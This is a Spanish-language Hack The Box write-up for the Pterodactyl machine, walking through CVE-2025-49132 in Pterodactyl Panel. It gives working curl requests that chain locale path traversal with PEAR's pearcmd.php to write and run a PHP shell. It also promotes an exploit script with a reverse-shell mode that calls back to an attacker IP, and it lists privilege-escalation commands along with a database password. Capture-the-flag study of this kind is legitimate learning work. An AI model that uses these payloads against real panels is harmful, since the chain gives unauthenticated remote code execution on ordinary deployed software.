CVE-2025-49132 - Exploit RCE de Pterodactyl Panel

HTB Temporada 10 - Writeup de la Máquina Pterodactyl

Resumen

Objetivo: Máquina Pterodactyl HTB (Dificultad Media)
CVE: CVE-2025-49132
Severidad: Crítica (CVSS 9.8)
Tipo de Ataque: Ejecución Remota de Código No Autenticada
Afectado: Pterodactyl Panel < v1.11.11

Esta cadena de exploits combina:

1. Path Traversal en el sistema de traducción locale
2. Inyección de Comandos PEAR a través de pearcmd.php
3. Ejecución de Código PHP mediante escritura de archivo + inclusión

El Bug

El endpoint /locales/locale.json del Pterodactyl Panel permite path traversal a través del parámetro locale:

GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR&namespace=pearcmd

Esto se puede encadenar con pearcmd.php de PEAR para:

1. Escribir archivos PHP arbitrarios en /tmp
2. Ejecutarlos mediante otra solicitud

Por Qué Funciona

PEAR (PHP Extension and Application Repository) tiene una herramienta CLI (pearcmd.php) que:

• Acepta comandos a través de parámetros URL (diseñado solo para CLI)
• Tiene un comando config-create que escribe archivos
• No tiene autenticación cuando se llama vía web

La Cadena del Exploit:

Path Traversal → Cargar pearcmd.php → Inyectar PHP vía config-create → Ejecutar PHP malicioso

El Truco de Hex2bin()

Los comandos se codifican en hexadecimal usando hex2bin() para evadir:

• Problemas de codificación URL
• Filtros de caracteres especiales
• Problemas de parseo de Nginx/PHP

Ejemplo:

Command: whoami
Hex:     77686f616d69
Payload: <?=system(hex2bin('77686f616d69'))?>

Ejecución Remota de Código

Método 1: Usando el exploit.sh proporcionado

chmod +x exploit.sh

# Obtener la bandera de usuario
./exploit.sh flag

# Ejecutar comandos
./exploit.sh cmd "whoami"
./exploit.sh cmd "cat /etc/passwd"

# Shell inversa
nc -lvnp 4444  # En la máquina atacante
./exploit.sh shell 10.10.14.21 4444

Método 2: Explotación manual

# Paso 1: Escribir shell PHP (codificado en hex como "whoami")
curl -g "http://panel.pterodactyl.htb/locales/locale.json?\
+config-create+/&\
locale=../../../../../../usr/share/php/PEAR&\
namespace=pearcmd&\
/<?=system(hex2bin('77686f616d69'))?>+/tmp/shell.php"

# Paso 2: Ejecutar
curl "http://panel.pterodactyl.htb/locales/locale.json?\
locale=../../../../../tmp&\
namespace=shell"

Método 3: Script Python

Añadí exploit.py
**Instalar requests**

🛠️ Herramientas Proporcionadas

1. exploit.sh (Recomendado)

Exploit bash completo

./exploit.sh cmd "whoami"           # Ejecutar un solo comando
./exploit.sh shell 10.10.14.21 4444 # Shell inversa
./exploit.sh flag                   # Encontrar bandera de usuario

Características:

• Codificación Hex2bin() para fiabilidad
• Filtrado de salida basado en Python
• Múltiples métodos de shell (bash TCP + mkfifo)
• Salida limpia y procesada

2. CVE-2025-49132_DETAILED.txt

Documentación técnica completa

Contiene:

• Análisis profundo de la vulnerabilidad
• Explicación de la arquitectura de PEAR
• Desglose paso a paso del exploit
• Guía de solución de problemas
• Métodos de detección (IOCs)
• Estrategias de mitigación

Inicio Rápido

# 1. Agregar a /etc/hosts
echo "10.10.x.x pterodactyl.htb panel.pterodactyl.htb" | sudo tee -a /etc/hosts

# 2. Descargar exploit
wget https://your-repo/exploit.sh
chmod +x exploit.sh

# 3. Obtener shell
nc -lvnp 4444  # Terminal 1
./exploit.sh shell 10.10.14.21 4444  # Terminal 2

# 4. Obtener bandera de usuario
cat /home/phileasfogg3/user.txt

Escalada de Privilegios

Enumeración

# Verificar servicios en ejecución
ss -tlnp

# Encontrados:
# 127.0.0.1:3306 - MySQL (root)
# 127.0.0.1:6379 - Redis
# 127.0.0.1:9000 - PHP-FPM (root)
# 127.0.0.1:25   - Postfix

# Verificar sudo
sudo -l
# (Probablemente requiere contraseña)

# Binarios SUID
find / -perm -4000 2>/dev/null

# Cron jobs
cat /etc/crontab
ls -la /etc/cron.*

Vectores Comunes de PrivEsc

1. MySQL con credenciales conocidas

mysql -u pterodactyl -pPteraPanel
# Verificar inyección UDF, permisos de escritura de archivos

2. PHP-FPM ejecutándose como root

# Verificar explotación de FPM (CVE-2019-11043 o abuso de configuración)

3. Explotación de Redis

# Verificar omisión de autenticación, RCE vía cron
redis-cli -h 127.0.0.1

4. Verificar scripts escribibles en cron

find /etc/cron* -writable 2>/dev/null

5. Exploits de kernel (último recurso)

uname -a
# Verificar DirtyCow, etc.

Referencias

CVE y Exploits

• NVD - CVE-2025-49132
• OpenCVE - CVE-2025-49132

Recursos Técnicos

• Documentación de Pterodactyl Panel
• Documentación de PEAR
• OWASP Path Traversal